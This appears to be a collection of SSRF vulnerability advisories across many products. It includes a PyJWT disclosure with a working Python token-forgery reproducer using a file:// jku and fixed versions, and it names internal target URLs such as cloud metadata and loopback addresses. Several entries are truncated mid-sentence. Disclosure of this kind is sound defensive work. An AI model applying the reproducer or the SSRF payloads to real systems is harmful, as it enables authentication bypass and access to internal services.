CVE-2026-9557 is a Server-Side Request Forgery (SSRF) vulnerability in Mautic's Focus component. It allows an authenticated user to cause the hosting server to make HTTP requests to arbitrary internal or external destinations due to insufficient validation of user-supplied URLs. This can enable internal network reconnaissance or interaction with unintended network resources. The vulnerability affects specific versions 4.0.0, 5.0.0, 6.0.0, and 7.0.0 of Mautic. The CVSS score is 6.4, indicating a medium severity level. No official patch or remediation guidance is currently available, and no known exploits are reported in the wild.
typescript-utcp is a typescript implementation of UTCP. Prior to 1.1.2, the @utcp/http package is vulnerable to a blind Server-Side Request Forgery (SSRF) caused by a trust-boundary inconsistency between manual discovery and tool invocation.registerManual() validates the discovery URL against an HTTPS / loopback allowlist, but callTool() reuses the resolved toolCallTemplate.url directly without revalidating, and the OpenApiConverter blindly trusts whatever servers[0].url an attacker-hosted spec declares. An attacker who hosts a malicious OpenAPI spec on a legitimate HTTPS endpoint can declare e.g.servers: [{ url: "http://127.0.0.1:9090" }] or servers: [{ url: "http://169.254.169.254" }]; the converter then produces tools whose URL points at internal services on the agent host. This vulnerability is fixed in 1.1.2.
Server-Side Request Forgery (CWE-918) in Kibana can allow an authenticated user with connector management privileges to bypass the operator-configured connector allowlist, causing the Kibana server to issue outbound requests to destinations the egress controls were intended to block.
Server-Side Request Forgery (CWE-918) in Kibana allows authenticated users with connector management privileges to bypass the operator-configured connection allowlist. By configuring a Webhook connector with a crafted target, an attacker can cause Kibana to issue outbound requests to destinations that the egress restriction controls were intended to block.
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
CVE-2026-46526 is a Server-Side Request Forgery (SSRF) vulnerability in LearningCircuit's local-deep-research product prior to version 1.6.10. The issue arises from a logical flaw in the URL validation logic, where differences between the URL parsing library used for validation and the one used for sending requests allow attackers to bypass SSRF protections. This vulnerability has a medium severity rating with a CVSS score of 5. The vulnerability is fixed in version 1.6.10. No known exploits are reported in the wild, and no official patch advisory details are provided beyond the version fix.
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.
CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in URL as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.
> [!NOTE]
> The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.
## Summary
PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.
If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:
1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.
2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.
## Affected versions
Tested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.
## Reproducer (full attack chain — verified empirically)
```python
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time
# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n
def b64u(n):
bl = (n.bit_length() + 7) // 8
return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()
# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
"n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
json.dump(jwks, f)
# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
{"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
priv_pem, algorithm="RS256",
headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})
# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"]) # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
```
## Cross-library evidence — PyJWT is the outlier
The same composition pattern is structurally safe in 4 other mainstream JWT libraries:
| Library | Behavior on `jku=file://...` | Mechanism |
|---|---|---|
| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |
| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |
| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |
| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |
| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |
PyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.
## Recommended fix
Add `allowed_schemes: tuple[str, ...] = ("https", "http")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.
### Diff sketch against `jwt/jwks_client.py`
```python
def __init__(
self, uri: str,
cache_keys: bool = False, max_cached_keys: int = 16,
cache_jwk_set: bool = True, lifespan: float = 300,
headers: dict[str, Any] | None = None, timeout: float = 30,
ssl_context: SSLContext | None = None,
allowed_schemes: tuple[str, ...] = ("https", "http"), # NEW
):
"""...
:param allowed_schemes: URL schemes the JWKS endpoint is permitted
to use. Default ``("https", "http")``. Pass ``("https",)`` for
HTTPS-only oper
The Independent Analytics plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.14.9. This is due to a public tracking route at /wp-json/iawp/search that accepts attacker-controlled referrer_url values when the signature matches, combined with a scheduled favicon fetcher that performs unrestricted cURL requests to stored domains. The signature validation is insufficient because the signature is embedded in publicly-accessible JavaScript and the salt is static per site, allowing attackers to extract valid signatures. The favicon downloader uses raw cURL functions without any SSRF protection mechanisms (no localhost blocking, no private network filtering, and does not use WordPress's wp_safe_remote_* functions). This makes it possible for unauthenticated attackers to inject malicious referrer domains into the database and trigger server-side requests to arbitrary hosts including internal services.
GuardDog is a CLI tool to identify malicious PyPI packages. From 1.0.0 to 2.9.0, the programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog. This vulnerability is fixed in .
Tauri is a framework for building binaries for all major desktop platforms. From 2.0 to 2.11.0, a flaw in Tauri's is_local_url() function causes it to incorrectly classify remote URLs as trusted local origins on Windows and Android. On these systems, Tauri maps custom URI scheme protocols to http://<scheme>.localhost/ because those platforms' WebView implementations cannot serve custom URI schemes directly. The issue is that Tauri's check to see if the origin is local, only checks the first subdomain of the URL. An attacker can abuse this by hosting a page on a domain whose subdomain matches the custom scheme of the application. This vulnerability is fixed in 2.10.3.
A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to send crafted requests to internal services by exploiting insufficient input validation in an upload endpoint. By injecting path traversal content into request parameters, an attacker could bypass the intended request flow and redirect internal API calls, potentially accessing internal services and exposing sensitive credentials. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.22 and was fixed in versions 3.17.17, 3.18.11, 3.19.8, 3.20.4, and 3.21.2. This vulnerability was reported via the GitHub Bug Bounty program.
A Server-Side Request Forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause the server to issue HTTP requests to internal services via the security advisories package lookup feature. By directing requests to an internal management service and measuring response timing, an attacker could infer the values of sensitive environment variables, including signing secrets and private keys. Exploitation required GitHub Packages to be enabled; on instances not running in private mode the vulnerability was exploitable without authentication, otherwise any authenticated user could exploit it. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21.1 and was fixed in versions 3.20.3, 3.19.7, 3.18.10, 3.17.16, and 3.16.19. This vulnerability was reported via the GitHub Bug Bounty program.
Dozzle is a realtime log viewer for docker containers. Prior to 10.5.2, in a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that sends an HTTP POST to the supplied URL with attacker-controlled request headers, and returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This vulnerability is fixed in 10.5.2.
MaxKB versions 2.8.0 and earlier contain a server-side request forgery (SSRF) bypass vulnerability caused by a time-of-check to time-of-use (TOCTOU) race condition in the OSS file service URL fetch functionality. This occurs due to inconsistent DNS resolution between the validation step and the actual request execution, potentially allowing attackers to access internal network services. The issue is addressed in version 2.8.1. The vulnerability has a medium severity with a CVSS 4.0 score of 5.1.
CVE-2026-45412 is a Server-Side Request Forgery (SSRF) vulnerability in the open-source AI assistant MaxKB by 1Panel-dev. Versions prior to 2.9.1 allow authenticated users to supply arbitrary URLs via the work_flow_template.downloadUrl parameter, which the server fetches without validation or internal IP filtering. This can lead to unauthorized server-side requests. The vulnerability has a CVSS 4.0 score of 6.3 (medium severity). A fix is available in version 2.
MaxKB is an open-source AI assistant for enterprise. Prior to 2.8.1, MaxKB v2.8.0 and prior are vulnerable to a server-side request forgery (SSRF) bypass in the OSS file service URL fetch (chat/api/oss/get_url) endpoint. The vulnerability exists due to inconsistent URL parsing between the urlparse validation function and the requests HTTP client, allowing attackers to access internal network services. This vulnerability is fixed in 2.8.1.
A vulnerability in the Google Cloud Apigee SetIntegrationRequest policy allowed remote attackers to perform Server-Side Request Forgery (SSRF) and exfiltrate service account access tokens.
For successful exploitation, an administrator must initially establish an insecure configuration of the API proxy.